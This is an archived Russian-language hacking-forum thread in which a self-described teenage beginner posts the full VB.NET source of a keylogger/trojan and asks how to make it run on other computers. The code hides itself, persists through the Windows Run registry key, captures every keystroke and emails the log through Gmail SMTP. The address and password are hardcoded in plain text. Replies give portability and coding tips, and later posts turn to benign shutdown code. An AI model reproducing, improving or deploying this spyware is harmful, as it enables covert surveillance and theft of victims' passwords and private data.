Форумы на Хакер

Добро пожаловать! Это — архивная версия форумов на «Хакер.Ru». Она работает в режиме read-only.

Программирование на VB

Пользователи, просматривающие топик: none

Зашли как: Guest

Все форумы >> [Компилируемые языки] >> Программирование на VB

Имя

Сообщение

<< Старые топики Новые топики >>

Программирование на VB - 2009-08-08 19:40:34.500000

eLECTRON1.96

Сообщений: 17
Оценки: 0
Присоединился: 2009-08-08 15:47:13.386666

Господа )(акеры я начинающий праграмист
на VB 2008 написал Keylogger или Trojan сам незнаю , и она отлично работает на моем компе
но вот проблема
на других компах не работает
наверное из за таго что у этих нет поддержки Net Framework 3.5
помогите пожалуста
может написать отделний модуль ??как???

Post #: 1

RE: Программирование на VB - 2009-08-08 19:46:38.936666

eLECTRON1.96

Сообщений: 17
Оценки: 0
Присоединился: 2009-08-08 15:47:13.386666

Да , вот код

Form1.vb ' нужны 2 таймера и 1 Textbox

Imports System.Net.Mail
 Public Class Form1
     Dim result As Integer
     Private Declare Function GetAsyncKeyState Lib "user32" (ByVal vKey As Long) As Integer
     Private Sub Form1_Load(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles MyBase.Load
         Me.Hide()
         Me.ShowInTaskbar = False
         On Error Resume Next
         Timer1.Start()
         Timer2.Start()
         SaveString(HKEY_LOCAL_MACHINE, "Software\Microsoft\Windows\CurrentVersion\Run", "Myhouse", Application.ExecutablePath)
     End Sub
 
     Private Sub Timer1_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Timer1.Tick
         On Error Resume Next
         For i = 1 To 255
             result = 0
             result = GetAsyncKeyState(i)
             If result = -32767 Then
                 TextBox1.Text = TextBox1.Text + Mychr(i)
             End If
         Next i
     End Sub
 
     Private Sub Timer2_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Timer2.Tick
         TextBox1.Text = ""
         Dim mymailmessage As New MailMessage()
         Try
             mymailmessage.From = New MailAddress("hrantabe@gmail.com") 'from email adress 
             mymailmessage.To.Add("hrantabe@gmail.com") 'stacox email-@
             mymailmessage.Subject = "Your Spy"
             mymailmessage.bоdу = TextBox1.Text
             Dim SMTP As New SmtpClient("smtp.gmail.com")
             SMTP.Port = 587
             SMTP.EnableSsl = True
             SMTP.Credentials = New System.Net.NetworkCredential("hrantabe@gmail.com", "aezakmi2577") 'from email adress username and password
             SMTP.Send(mymailmessage)
         Catch ex As Exception
         End Try
     End Sub
 End Class

Module1.vb - это модуль Reg-а

Module Module1
     Public Const HKEY_CLASSES_ROOT = &H80000000
     Public Const HKEY_CURRENT_USER = &H80000001
     Public Const HKEY_LOCAL_MACHINE = &H80000002
     Public Const HKEY_USERS = &H80000003
     Private Const KEY_QUERY_VALUE = &H1
     Private Const KEY_SET_VALUE = &H2
     Private Const KEY_CREATE_SUB_KEY = &H4
     Private Const KEY_ENUMERATE_SUB_KEYS = &H8
     Private Const KEY_NOTIFY = &H10
     Private Const KEY_CREATE_LINK = &H20
     Private Const STANDARD_RIGHTS_ALL = &H1F0000
     Private Const SYNCHRONIZE = &H100000
     Private Const KEY_ALL_ACCESS = ((STANDARD_RIGHTS_ALL Or _
             KEY_QUERY_VALUE Or KEY_SET_VALUE Or KEY_CREATE_SUB_KEY _
             Or KEY_ENUMERATE_SUB_KEYS Or KEY_NOTIFY Or _
             KEY_CREATE_LINK) And (Not SYNCHRONIZE))
     Private Const REG_SZ = 1, REG_DWORD = 4, REG_EXPAND_SZ = 2, REG_BINARY = 3, REG_MULTI_SZ = 7
     Public lCount As Long, aKeyArr() As String, bDimn As Boolean, aBase() As String
     Private lmCount, rtn As Long
     Private Const ERROR_SUCCESS As Long = 0
     Private Declare Function RegOpenKeyEx Lib "advapi32" Alias "RegOpenKeyExA" (ByVal hkey&, ByVal lpSubKey$, ByVal dwReserved&, ByVal samDesired As Long, ByVal phkResult As Long) As Long
     Private Declare Function RegQueryValueEx Lib "advapi32" Alias "RegQueryValueExA" (ByVal hkey As Long, ByVal lpValueName As String, ByVal lpReserved As Long, ByVal lpType As Long, ByVal lpData As String, ByVal lpcbData As Long) As Long
     Private Declare Function RegSetValueEx Lib "advapi32.dll" Alias "RegSetValueExA" (ByVal hkey As Long, ByVal lpValueName As String, ByVal Reserved As Long, ByVal dwType As Long, ByVal lpData As String, ByVal cbData As Long) As Long
     Private Declare Function RegCreateKey Lib "advapi32.dll" Alias "RegCreateKeyA" (ByVal hkey As Long, ByVal lpSubKey As String, ByVal phkResult As Long) As Long
     Private Declare Function RegCreateKeyEx Lib "advapi32.dll" Alias "RegCreateKeyExA" (ByVal hkey As Long, ByVal lpSubKey As String, ByVal Reserved As Long, ByVal lpClass As String, ByVal dwOptions As Long, ByVal samDesired As Long, ByVal lpSecurityAttributes As Long, ByVal phkResult As Long, ByVal lpdwDisposition As Long) As Long
     Private Declare Function RegCloseKey& Lib "advapi32" (ByVal hkey&)
     Private Declare Function RegQueryInfoKey Lib "advapi32.dll" Alias "RegQueryInfoKeyA" (ByVal hkey&, ByVal lpClass$, ByVal lpcbClass&, ByVal lpReserved&, ByVal lpcSubKeys&, ByVal lpcbMaxSubKeyLen&, ByVal lpcbMaxClassLen&, ByVal lpcValues&, ByVal lpcbMaxValueNameLen&, ByVal lpcbMaxValueLen&, ByVal lpcbSecurityDesсriрtor&, ByVal lpftLastWriteTime As String) As Long
     Private Declare Function RegEnumValue Lib "advapi32.dll" Alias "RegEnumValueA" (ByVal hkey&, ByVal dwIndex&, ByVal lpValueName$, ByVal lpcbValueName&, ByVal lpReserved&, ByVal lpType&, ByVal lpData As String, ByVal lpcbData As Long) As Long
     Private Declare Function RegEnumKey Lib "advapi32.dll" Alias "RegEnumKeyA" (ByVal hkey As Long, ByVal dwIndex As Long, ByVal lpName As String, ByVal cbName As Long) As Long
     Private Declare Function RegDeleteKey Lib "advapi32.dll" Alias "RegDeleteKeyA" (ByVal hkey&, ByVal lpSubKey As String) As Long
     Private Declare Function RegDeleteValue Lib "advapi32.dll" Alias "RegDeleteValueA" (ByVal hkey&, ByVal lpValueName$) As Long
     Function SaveString(ByVal hkey As Long, ByVal strpath As String, ByVal strValue As String, ByVal strData As String) As String
         RegCreateKey(hkey, strpath, rtn)
         RegSetValueEx(rtn, strValue, 0, REG_SZ, strData, Len(strData))
         RegCloseKey(rtn)
     End Function
 End Module

Module2.vb - а это мойа функция

Module MyChrModule
     Private Declare Function GetAsyncKeyState Lib "user32" (ByVal vKey As Long) As Integer
     '49 to 57 Chr , 32 space
     Public Function Mychr(ByVal ChrNumber As Long) As String
         If ChrNumber = 1 Then Mychr = "[LMB]"
         If ChrNumber = 2 Then Mychr = "[RMB]"
         If ChrNumber = 4 Then Mychr = "[MMB]" ' MouseMiddleButton ( Scroll button )
         If ChrNumber = 9 Then Mychr = "[Tab]"
         If ChrNumber = 20 Then Mychr = "[CapsLock]"
         If ChrNumber = 160 Then Mychr = "[LeftShift]"
         If ChrNumber = 162 Then Mychr = "[LeftCtrl]"
         If ChrNumber = 192 Then Mychr = "`"
         If ChrNumber = 112 Then Mychr = "[F1]" '112 to 123
         If ChrNumber = 113 Then Mychr = "[F2]"
         If ChrNumber = 114 Then Mychr = "[F3]"
         If ChrNumber = 115 Then Mychr = "[F4]"
         If ChrNumber = 116 Then Mychr = "[F5]"
         If ChrNumber = 117 Then Mychr = "[F6]"
         If ChrNumber = 118 Then Mychr = "[F7]"
         If ChrNumber = 119 Then Mychr = "[F8]"
         If ChrNumber = 120 Then Mychr = "[F9]"
         If ChrNumber = 121 Then Mychr = "[F10]"
         If ChrNumber = 122 Then Mychr = "[F11]"
         If ChrNumber = 123 Then Mychr = "[F12]"
         If ChrNumber = 189 Then Mychr = "-"
         If ChrNumber = 187 Then Mychr = "="
         If ChrNumber = 220 Then Mychr = "\"
         If ChrNumber = 219 Then Mychr = "["
         If ChrNumber = 221 Then Mychr = "]"
         If ChrNumber = 186 Then Mychr = ";"
         If ChrNumber = 220 Then Mychr = "\"
         If ChrNumber = 222 Then Mychr = "'"
         If ChrNumber = 188 Then Mychr = ","
         If ChrNumber = 190 Then Mychr = "."
         If ChrNumber = 191 Then Mychr = "/"
         If ChrNumber = 8 Then Mychr = "[BckSpc]"
         If ChrNumber = 123 Then Mychr = "[F12]"
         If ChrNumber = 13 Then Mychr = "[Enter]"
         If ChrNumber = 161 Then Mychr = "[RightShift]"
         If ChrNumber = 91 Then Mychr = "[LeftLogo]"
         If ChrNumber = 92 Then Mychr = "[RightLogo]"
         If ChrNumber = 93 Then Mychr = "[RMB Key]"
         If ChrNumber = 163 Then Mychr = "[RightCtrl]"
         If ChrNumber = 164 Then Mychr = "[LeftAlt]"
         If ChrNumber = 165 Then Mychr = "[RightAlt]"
         If ChrNumber = 44 Then Mychr = "[Print]"
         If ChrNumber = 19 Then Mychr = "[Pause]"
         If ChrNumber = 45 Then Mychr = "[Insert]"
         If ChrNumber = 36 Then Mychr = "[Home]"
         If ChrNumber = 33 Then Mychr = "[PageUp]"
         If ChrNumber = 46 Then Mychr = "[Delete]"
         If ChrNumber = 35 Then Mychr = "[End]"
         If ChrNumber = 34 Then Mychr = "[PageDown]"
         If ChrNumber = 37 Then Mychr = "[Left]"
         If ChrNumber = 38 Then Mychr = "[Up]"
         If ChrNumber = 39 Then Mychr = "[Right]"
         If ChrNumber = 40 Then Mychr = "[Down]"
         If ChrNumber = 144 Then Mychr = "[NumLock]"
         If ChrNumber = 96 Then Mychr = "0"
         If ChrNumber = 97 Then Mychr = "1"
         If ChrNumber = 98 Then Mychr = "2"
         If ChrNumber = 99 Then Mychr = "3"
         If ChrNumber = 100 Then Mychr = "4"
         If ChrNumber = 101 Then Mychr = "5"
         If ChrNumber = 102 Then Mychr = "6"
         If ChrNumber = 103 Then Mychr = "7"
         If ChrNumber = 104 Then Mychr = "8"
         If ChrNumber = 105 Then Mychr = "9"
         If ChrNumber = 106 Then Mychr = "*"
         If ChrNumber = 107 Then Mychr = "+"
         If ChrNumber = 109 Then Mychr = "-"
         If ChrNumber = 110 Then Mychr = "."
         If ChrNumber = 111 Then Mychr = "/"
         If ChrNumber = 32 Then Mychr = " "
         If ChrNumber = 48 Then Mychr = "0"
         If ChrNumber = 49 Then Mychr = "1"
         If ChrNumber = 50 Then Mychr = "2"
         If ChrNumber = 51 Then Mychr = "3"
         If ChrNumber = 52 Then Mychr = "4"
         If ChrNumber = 53 Then Mychr = "5"
         If ChrNumber = 54 Then Mychr = "6"
         If ChrNumber = 55 Then Mychr = "7"
         If ChrNumber = 56 Then Mychr = "8"
         If ChrNumber = 57 Then Mychr = "9"
         If ChrNumber = 81 Then Mychr = "q"
         If ChrNumber = 87 Then Mychr = "w"
         If ChrNumber = 69 Then Mychr = "e"
         If ChrNumber = 82 Then Mychr = "r"
         If ChrNumber = 84 Then Mychr = "t"
         If ChrNumber = 89 Then Mychr = "y"
         If ChrNumber = 85 Then Mychr = "u"
         If ChrNumber = 73 Then Mychr = "i"
         If ChrNumber = 79 Then Mychr = "o"
         If ChrNumber = 80 Then Mychr = "p"
         If ChrNumber = 65 Then Mychr = "a"
         If ChrNumber = 83 Then Mychr = "s"
         If ChrNumber = 68 Then Mychr = "d"
         If ChrNumber = 70 Then Mychr = "f"
         If ChrNumber = 71 Then Mychr = "g"
         If ChrNumber = 72 Then Mychr = "h"
         If ChrNumber = 74 Then Mychr = "j"
         If ChrNumber = 75 Then Mychr = "k"
         If ChrNumber = 76 Then Mychr = "l"
         If ChrNumber = 90 Then Mychr = "z"
         If ChrNumber = 88 Then Mychr = "x"
         If ChrNumber = 67 Then Mychr = "c"
         If ChrNumber = 86 Then Mychr = "v"
         If ChrNumber = 66 Then Mychr = "b"
         If ChrNumber = 78 Then Mychr = "n"
         If ChrNumber = 77 Then Mychr = "m"
     End Function
 End Module

Post #: 2

RE: Программирование на VB - 2009-08-09 00:11:31.503333

tеstеr

Сообщений: 377
Оценки: -46
Присоединился: 2008-02-08 17:56:40.563333

В свойствах проекта поставь - Net FrameWork 2.0
Или даже 1.1.
Надеюсь System.Net.Mail был в предыдущих версиях вреимворка.

Писать опасный код в VisualStudio - опасно ))
В собранном бинарнике будет содержаться иформация о тебе, твоей кошке, первой девченке, телефоне твоей кошки, ….

Так как твой кейлогер/троян не использует Windows Presentation Foundation, Windows WorkFlow Foundation, …. то тебе 3.5 не нужен.
И я не советую писать на .Net злой код, .Net создн исключительно для добра.
Мир тебе, брат мой, да прибудет с тобой сила.

quote:

"hrantabe@gmail.com", "aezakmi2577"

Ай-ай-ай, этот пароль все еще действует??
Никто его не сменил за тебя??
Глупо, брат мой, да прибудет с тобой мудрость.

Post #: 3

RE: Программирование на VB - 2009-08-09 00:35:12.800000

eLECTRON1.96

Сообщений: 17
Оценки: 0
Присоединился: 2009-08-08 15:47:13.386666

да прибила мудрость сомной (уже давно) , брат мой
и да постучали палци мойи по клавишам чтобы изменить пароль , брат мой
спасибо брат мой и пусть крутится винтилятор твоего процессора
навеки

________________________________________________________________Аминь

Post #: 4

RE: Программирование на VB - 2009-08-09 13:04:21.980000

eLECTRON1.96

Сообщений: 17
Оценки: 0
Присоединился: 2009-08-08 15:47:13.386666

quote:

ORIGINAL: tеstеr

В свойствах проекта поставь - Net FrameWork 2.0
Или даже 1.1.
Надеюсь System.Net.Mail был в предыдущих версиях вреимворка.

А как поставить ???
зараннее спасибо

Post #: 5

RE: Программирование на VB - 2009-08-09 14:12:46.050000

DenCoder

Сообщений: 49
Оценки: 0
Присоединился: 2009-07-07 19:45:30.303333

Right-click on Project -> Properties -> Tab 'Application' -> Combo Box 'Target Framework' -> Select '.NET Framework 2.0' or other…

Post #: 6

RE: Программирование на VB - 2009-08-09 14:23:12.066666

eLECTRON1.96

Сообщений: 17
Оценки: 0
Присоединился: 2009-08-08 15:47:13.386666

у меня нет
'Target Framework'

Post #: 7

RE: Программирование на VB - 2009-08-09 18:23:58.736666

psina007

Сообщений: 98
Оценки: 0
Присоединился: 2009-05-09 22:41:33.580000

Post #: 8

RE: Программирование на VB - 2009-08-10 15:59:35.356666

DzumoHu4

Сообщений: 279
Оценки: 0
Присоединился: 2008-08-04 19:04:43.236666

quote:

ORIGINAL: eLECTRON1.96

у меня нет
'Target Framework'

Что то я сомневаюсь что ты код писал…

Post #: 9

RE: Программирование на VB - 2009-08-10 22:04:14.323333

mishok

Сообщений: 239
Оценки: 0
Присоединился: 2007-07-03 23:42:21.170000

что-то я такого и у себя не нашел… вы ничего не курили, граждане? =)

———-

Можно в References удалить неиспользуемые библиотеки .NET… там и версия указывается…

Post #: 10

RE: Программирование на VB - 2009-08-11 00:46:47.236666

_SaZ_

Сообщений: 4329
Оценки: 398
Присоединился: 2008-01-30 02:18:05.553333

govnokod.ru по тебе плачет :)

Post #: 11

RE: Программирование на VB - 2009-08-11 07:56:25.440000

mishok

Сообщений: 239
Оценки: 0
Присоединился: 2007-07-03 23:42:21.170000

я вот немного не понял про часть "Module1.vb - это модуль Reg-а " - зачем декларировать кучу функций и констант, а использовать всего три функции и несколько констант 0_о или они еще где-то используются?
заметил тока это - не смотрел код, тока глазами пробежал =)

— — — — —

quote:

ORIGINAL: _SaZ_

govnokod.ru по тебе плачет :)

С чего бы вдруг? 0_о

Post #: 12

RE: Программирование на VB - 2009-08-11 14:34:31.540000

psina007

Сообщений: 98
Оценки: 0
Присоединился: 2009-05-09 22:41:33.580000

quote:

ORIGINAL: mishok

я вот немного не понял про часть "Module1.vb - это модуль Reg-а " - зачем декларировать кучу функций и констант, а использовать всего три функции и несколько констант 0_о или они еще где-то используются?
заметил тока это - не смотрел код, тока глазами пробежал =)

— — — — —

quote:

ORIGINAL: _SaZ_

govnokod.ru по тебе плачет :)

С чего бы вдруг? 0_о

Наверно потому что в в Module2 лутше вместо кучи IF-ов использавать Case Select. И ещё, зачем же столько функцмй обьявлять?

Post #: 13

RE: Программирование на VB - 2009-08-11 15:21:14.660000

_SaZ_

Сообщений: 4329
Оценки: 398
Присоединился: 2008-01-30 02:18:05.553333

Вместо той кучи ифов…
MyChr := chr(ChrNumber); Только это вообще не надо. Если уж так хочется в текстовом виде отправлять - то массив чаров перегнать в base64 и вперёд.

А вообще автор даже не представляет, как различные переменные хранятся в памяти. Что уж тут говорить про методы логирования клавиш с помощью GetAsyncKeyState… А если пользователь слишком быстро набирает, то нажатые клавиши пропадать начнут? :)

Post #: 14

RE: Программирование на VB - 2009-08-11 15:39:55.713333

psina007

Сообщений: 98
Оценки: 0
Присоединился: 2009-05-09 22:41:33.580000

quote:

Вместо той кучи ифов…
MyChr := chr(ChrNumber);

Тоже вариант… и к томуже, писать кейлогер на VB.NET полная чуш! мало того что кейлогер будет весить много,
так ещё будет требовать .NЕТ для работы…

Post #: 15

RE: Программирование на VB - 2009-08-13 14:46:54.840000

hrantabe

Сообщений: 203
Оценки: 0
Присоединился: 2009-08-11 11:05:12.030000

quote:

ORIGINAL: DenCoder
Right-click on Project -> Properties -> Tab 'Application' -> Combo Box 'Target Framework' -> Select '.NET Framework 2.0' or other…

quote:

ORIGINAL: DzumoHu4
Что то я сомневаюсь что ты код писал…

На самом деле возможно так
Project -> Properties ->Tab 'Compile' ->Button 'Advanced Compile Options' -> Combo Box 'Target Framework':)

Post #: 16

RE: Программирование на VB - 2009-08-13 14:53:53.420000

hrantabe

Сообщений: 203
Оценки: 0
Присоединился: 2009-08-11 11:05:12.030000

quote:

ORIGINAL: mishok

я вот немного не понял про часть "Module1.vb - это модуль Reg-а " - зачем декларировать кучу функций и констант, а использовать всего три функции и несколько констант 0_о или они еще где-то используются?
заметил тока это - не смотрел код, тока глазами пробежал =)

Нет модуль Reg-а взял с интернета и все впихнул
Ведь я НАЧИНАЮШИЙ

Post #: 17

RE: Программирование на VB - 2009-08-13 15:03:28.853333

hrantabe

Сообщений: 203
Оценки: 0
Присоединился: 2009-08-11 11:05:12.030000

quote:

Вместо той кучи ифов…
MyChr := chr(ChrNumber);

Только это вообще не надо. Если уж так хочется в текстовом виде отправлять - то массив чаров перегнать в base64 и вперёд.

А вообще автор даже не представляет, как различные переменные хранятся в памяти. Что уж тут говорить про методы логирования клавиш с помощью GetAsyncKeyState… А если пользователь слишком быстро набирает, то нажатые клавиши пропадать начнут? :)

Функця chr приводит только буквы а мне нужно ВСЕ
Про base64 подробнее пожалуста
На счет таймера скажу что Interval = 1 milliseconds , ничего не пропадет

Post #: 18

RE: Программирование на VB - 2009-08-13 15:09:10.250000

hrantabe

Сообщений: 203
Оценки: 0
Присоединился: 2009-08-11 11:05:12.030000

quote:

Тоже вариант… и к томуже, писать кейлогер на VB.NET полная чуш! мало того что кейлогер будет весить много, так ещё будет требовать .NЕТ для работы…

Я полностю согласен и поетому прошу вашей помощи
Помогите отдельный модуль написать

_______________________________________________________СПАСИБО
и помните я начинаюший и мне 16 , Не баните меня Я не школьник

Post #: 19

RE: Программирование на VB - 2009-08-13 15:54:00.670000

_SaZ_

Сообщений: 4329
Оценки: 398
Присоединился: 2008-01-30 02:18:05.553333

GOOGLE IT! Про base64. И *ля, замени chr на byte(). Сделай массив байт и вперёд, какая разница. Это не существенно. Передавать хоть xml-ем можно. Просто не с того ты программирование учить начал.

Post #: 20

RE: Программирование на VB - 2009-08-13 16:01:15.416666

psina007

Сообщений: 98
Оценки: 0
Присоединился: 2009-05-09 22:41:33.580000

quote:

Просто не с того ты программирование учить начал.

Поддержываю. Лутше б начал с хелловорда, кейлоггер оставь на потом, когда С++ выучишь.

Post #: 21

RE: Программирование на VB - 2009-08-13 16:40:28.230000

hrantabe

Сообщений: 203
Оценки: 0
Присоединился: 2009-08-11 11:05:12.030000

Спасибо:)

Post #: 22

RE: Программирование на VB - 2009-08-13 16:47:47.903333

hrantabe

Сообщений: 203
Оценки: 0
Присоединился: 2009-08-11 11:05:12.030000

quote:

Поддержываю. Лутше б начал с хелловорда, кейлоггер оставь на потом, когда С++ выучишь.

Хелловорлд умею
написал еще BeelinePASSGEN,Convertor,Calculator,DeletingVirus,MouseVirus,типо Screensaver,ShutDownTool ….
правдо это уже на vb 6.0

Post #: 23

RE: Программирование на VB - 2009-08-13 17:48:51.800000

mishok

Сообщений: 239
Оценки: 0
Присоединился: 2007-07-03 23:42:21.170000

quote:

ORIGINAL: hrantabe

Нет модуль Reg-а взял с интернета и все впихнул
Ведь я НАЧИНАЮШИЙ

Что ты начинающий - это не отмазка… я тоже себя считаю любителем малоопытным… а если уж ты с инета что-то сливаешь и пытаешься его куда-то впихнуть, то думаю, надо хоть как-то с этим разбираться,чтобы знать, что ты вообще делаешь… там может быть написано "модуль рега", а на самом деле индийский код будет =)

Post #: 24

RE: Программирование на VB - 2009-08-13 17:55:30.736666

mishok

Сообщений: 239
Оценки: 0
Присоединился: 2007-07-03 23:42:21.170000

quote:

ORIGINAL: hrantabe

Функця chr приводит только буквы а мне нужно ВСЕ
Про base64 подробнее пожалуста
На счет таймера скажу что Interval = 1 milliseconds , ничего не пропадет

на счет chr повнимательнее полистай Object Browser и MSDN - возможно привести всю строку в массив, а не каждый символ в переменную.
Base64 - это такая кодировка - в гугле без труда найдешь…
Лучше уж юзать BackgroundWorker с бесконечным циклом, вместо таймера…

quote:

ORIGINAL: _SaZ_

GOOGLE IT! Про base64. И *ля, замени chr на byte(). Сделай массив байт и вперёд, какая разница. Это не существенно. Передавать хоть xml-ем можно. Просто не с того ты программирование учить начал.

ага =) я вот начинал с разных кнопочек, которые сообщения показывают, цвета меняют, передвигают друг друга =) потом калькулятор, пятнашки, мини-шашки и т.д….

quote:

ORIGINAL: psina007
… к томуже, писать кейлогер на VB.NET полная чуш! мало того что кейлогер будет весить много,
так ещё будет требовать .NЕТ для работы…

Ну я бы не сказал, что много весит… Единственный минус - привязка к .NET… да и то щас у всех он стоит… на виндах…

Post #: 25

RE: Программирование на VB - 2009-08-13 20:15:45.653333

hrantabe

Сообщений: 203
Оценки: 0
Присоединился: 2009-08-11 11:05:12.030000

quote:

Что ты начинающий - это не отмазка… я тоже себя считаю любителем малоопытным… а если уж ты с инета что-то сливаешь и пытаешься его куда-то впихнуть, то думаю, надо хоть как-то с этим разбираться,чтобы знать, что ты вообще делаешь… там может быть написано "модуль рега", а на самом деле индийский код будет =)

Все мы чем то рескуем

Post #: 26

RE: Программирование на VB - 2009-08-13 20:21:50.783333

hrantabe

Сообщений: 203
Оценки: 0
Присоединился: 2009-08-11 11:05:12.030000

quote:

Лучше уж юзать BackgroundWorker с бесконечным циклом, вместо таймера…

Это непонял , BackgroundWorker ???

quote:

я вот начинал с разных кнопочек, которые сообщения показывают, цвета меняют, передвигают друг друга =) потом калькулятор, пятнашки, мини-шашки и т.д….

Мой ответ

quote:

ORIGINAL: hrantabe
Хелловорлд умею
написал еще BeelinePASSGEN,Convertor,Calculator,DeletingVirus,MouseVirus,типо Screensaver,ShutDownTool ….
правдо это уже на vb 6.0

quote:

Ну я бы не сказал, что много весит… Единственный минус - привязка к .NET… да и то щас у всех он стоит… на виндах…

По этому я к вам и обратился

Post #: 27

RE: Программирование на VB - 2009-08-13 20:27:40.390000

psina007

Сообщений: 98
Оценки: 0
Присоединился: 2009-05-09 22:41:33.580000

quote:

Мой ответ

quote:

ORIGINAL: hrantabe
Хелловорлд умею написал еще BeelinePASSGEN,Convertor,Calculator,DeletingVirus,MouseVirus,типо Screensaver,ShutDownTool …. правдо это уже на vb 6.0

А теперь перенеси все эти програмы под .NET

Post #: 28

RE: Программирование на VB - 2009-08-13 20:50:23.120000

hrantabe

Сообщений: 203
Оценки: 0
Присоединился: 2009-08-11 11:05:12.030000

как перенести все под .NET
Искать в google.net
Отличный ответ
Проблем нет
Переведу все под .NET
Но ты потом даш ожидаемый ответ ???
_________________________________________именно : как решить мою задачу

Post #: 29

RE: Программирование на VB - 2009-08-14 16:23:59.493333

hrantabe

Сообщений: 203
Оценки: 0
Присоединился: 2009-08-11 11:05:12.030000

][акеры теперь у меня другой вопрос
Мой ShutDownTool работает примерно с такой командой
shutdown -s -t 00
Нелзя ли воспользаватся командой ExitWindowsEx (Declare Function ExitWindowsEx Lib "user32" Alias "ExitWindowsEx" (ByVal uFlags As Long, ByVal dwReserved As Long) As Long)
Помогите пожалуста

Post #: 30

RE: Программирование на VB - 2009-08-15 00:28:16.530000

mishok

Сообщений: 239
Оценки: 0
Присоединился: 2007-07-03 23:42:21.170000

думаю, что методом тыка сам разберешься… попробуй, а там уже видно будет, получится или нет…

— — — — —

а это про backgroundworker:
http://msdn.microsoft.com/en-us/library/8xs8549b.aspx

Post #: 31

RE: Программирование на VB - 2009-08-15 00:45:52.536666

mishok

Сообщений: 239
Оценки: 0
Присоединился: 2007-07-03 23:42:21.170000

quote:

ORIGINAL: hrantabe

как перенести все под .NET
Искать в google.net
Отличный ответ
Проблем нет
Переведу все под .NET
Но ты потом даш ожидаемый ответ ???
_________________________________________именно : как решить мою задачу

Если ты сам написал это на VB6, то на VB.NET тебе не составит труда это перевести…
А если уж ты писал вышеперечисленное так же, как и кейлогер, то думаю, успехом это не увенчается…

Post #: 32

RE: Программирование на VB - 2009-08-15 14:05:06.636666

hrantabe

Сообщений: 203
Оценки: 0
Присоединился: 2009-08-11 11:05:12.030000

Помогите кто может
Мой ShutDownTool работает примерно с такой командой
shutdown -s -t 00
Нелзя ли воспользаватся командой ExitWindowsEx
Google-ил , там нашел это

' SHUT DOWN AND RESTART IN VB6
 Const EWX_LogOff As Long = 0
 Const EWX_SHUTDOWN As Long = 1
 Const EWX_REBOOT As Long = 2
 Const EWX_FORCE As Long = 4
 
 Private Declare Function ExitWindows _
 Lib "User32" Alias "ExitWindowsEx" _
 (ByVal dwOptions As Long, ByVal dwReserved As Long) As Long
 
 Private Sub Command1_Click()
 'Shut down windows
 ExitWindows EWX_SHUTDOWN, &HFFFFFFFF
 End Sub
 Private Sub Command2_Click()
 ExitWindows EWX_REBOOT, &HFFFFFFFF  
 End Sub

но не работает
в чем дело ???

Post #: 33

RE: Программирование на VB - 2009-08-17 10:37:46.246666

hrantabe

Сообщений: 203
Оценки: 0
Присоединился: 2009-08-11 11:05:12.030000

нашел это

Public Class Form1
     Private Structure LUID
         Dim UsedPart As Integer
         Dim IgnoredForNowHigh32BitPart As Integer
     End Structure
     Private Structure TOKEN_PRIVILEGES
         Dim PrivilegeCount As Integer
         Dim TheLuid As LUID
         Dim Attributes As Integer
     End Structure
     ' SHUT DOWN AND RESTART IN VB6
     Const EWX_LogOff As Long = 0
     Const EWX_SHUTDOWN As Long = 1
     Const EWX_REBOOT As Long = 2
     Const EWX_FORCE As Long = 4
 
     Private Declare Function OpenProcessToken Lib "advapi32" (ByVal ProcessHandle As IntPtr, ByVal DesiredAccess As Integer, ByRef TokenHandle As Integer) As Integer
     Private Declare Function LookupPrivilegeValue Lib "advapi32" Alias "LookupPrivilegeValueA" (ByVal lpSystemName As String, ByVal lpName As String, ByRef lpLuid As LUID) As Integer
     Private Declare Function AdjustTokenPrivileges Lib "advapi32" (ByVal TokenHandle As Integer, ByVal DisableAllPrivileges As Boolean, ByRef NewState As TOKEN_PRIVILEGES, ByVal BufferLength As Integer, ByRef PreviousState As TOKEN_PRIVILEGES, ByRef ReturnLength As Integer) As Integer
     Private Declare Function ExitWindows _
     Lib "User32" Alias "ExitWindowsEx" _
     (ByVal dwOptions As Long, ByVal dwReserved As Long) As Long
     Private Sub AdjustToken()
         Const TOKEN_ADJUST_PRIVILEGES As Int32 = &H20
         Const TOKEN_QUERY As Int32 = &H8
         Const SE_PRIVILEGE_ENABLED As Int32 = &H2
         Dim hdlProcessHandle As IntPtr
         Dim hdlTokenHandle As Int32
         Dim tmpLuid As LUID
         Dim tkp As TOKEN_PRIVILEGES
         Dim tkpNewButIgnored As TOKEN_PRIVILEGES
         Dim lBufferNeeded As Int32
         hdlProcessHandle = Process.GetCurrentProcess.Handle
         OpenProcessToken(hdlProcessHandle, (TOKEN_ADJUST_PRIVILEGES Or TOKEN_QUERY), hdlTokenHandle)
         '
         'Get the LUID for shutdown privilege.
         LookupPrivilegeValue("", "SeShutdownPrivilege", tmpLuid)
         tkp.PrivilegeCount = 1 'One privilege to set
         tkp.TheLuid = tmpLuid
         tkp.Attributes = SE_PRIVILEGE_ENABLED
         '
         'Enable the shutdown privilege in the access token of this process.
         AdjustTokenPrivileges(hdlTokenHandle, False, tkp, Len(tkpNewButIgnored), tkpNewButIgnored, lBufferNeeded)
     End Sub
     Private Sub Button1_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button1.Click
         'Shut down windows
         AdjustToken()
         ExitWindows(EWX_SHUTDOWN, Nothing)
     End Sub
 
     Private Sub Button2_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button2.Click
         AdjustToken()
         ExitWindows(EWX_REBOOT, Nothing)
     End Sub
 
     Private Sub Button3_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button3.Click
         AdjustToken()
         ExitWindows(EWX_LogOff, Nothing)
     End Sub
     Private Sub Form1_Load(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles MyBase.Load
         Me.FormBorderStyle = Windows.Forms.FormBorderStyle.FixedDialog
     End Sub
 End Class

но нечего не понял
кроме того что приложению требовались какие то превилигийи чтобы перезапускать и отключать компютер
обясните кто нть

Post #: 34

RE: Программирование на VB - 2009-08-17 16:14:43.560000

mishok

Сообщений: 239
Оценки: 0
Присоединился: 2007-07-03 23:42:21.170000

Shell("shutdown -s -t 0")
Вот выключение компа… У меня работает…

—

Почитал, что наХР у многих не пашет… Но у меня на висте все сработало, тока запросила завершение активных приложений….

—

Вот еще один код. Сам не проверял…

Dim objWMIService, objComputer As Object
objWMIService = GetObject("Winmgmts:{impersonationLevel=impersonate,(Debug,Shutdown)}")
For Each objComputer In objWMIService.InstancesOf("Win32_OperatingSystem")
